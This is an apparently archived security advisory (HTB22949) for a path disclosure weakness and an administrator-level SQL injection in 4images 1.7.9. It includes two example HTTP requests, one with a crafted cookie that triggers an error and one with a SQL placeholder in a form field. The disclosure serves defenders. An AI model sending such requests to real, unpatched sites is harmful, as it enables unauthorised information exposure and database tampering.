In view of COVID-19 precaution measures, we remind you that ImmuniWeb Platform allows to easily configure and safely buy online all available solutions in a few clicks.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Path Disclosure Weakness in 4images

Advisory ID:HTB22949
Vulnerable Versions:1.7.9 and probably prior
Tested Version:1.7.9
Advisory Publication:April 7, 2011 [without technical details]
Vendor Notification:April 7, 2011
Public Disclosure:April 21, 2011
Latest Update:April 11, 2011
Vulnerability Type:Information Exposure Through Externally-generated Error Message [CWE-211]
Risk Level:Medium
CVSSv2 Base Score:5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in 4images which could be exploited to disclose potentially sensitive information.

1) Path disclosure weakness in 4images
The weakness is caused by incorrect handling of exceptions in includes/page_header.php and global.php scripts which could be exploited to reveal full path to application`s installation directory.
Exploitation examples:
GET /index.php?action=rateimage&id=1 HTTP/1.1
Cookie: 4images_rated[]=1


It is also possible for a remote user with administrative privileges to execute arbitrary SQL commands in application`s database via the admin/categories.php script.
Exploitation example:
POST /admin/categories.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
__csrf=53c2e96a96fcba6dc1d9626c846f665b&action=savecat&cat_name=1&cat_d escription=1&cat_paren t_id=0&cat_order=0&auth_viewcat=SQL_CODE_HERE&auth_viewimage=0&auth_download =2&auth_upload=2&auth_di rectupload=9&auth_vote=0&auth_sendpostcard=0&auth_readcomment=0&auth_postcom ment=2

How to Detect Information Exposure Through Externally-generated Error Message Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Upgrade to the most recent version

More Information:

[1] High-Tech Bridge Advisory HTB22949 - - Path Disclosure Weakness in 4images
[2] 4images - - 4images is a PHP and MySQL-based system intended to work with images and media content.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
How it Works Ask a Question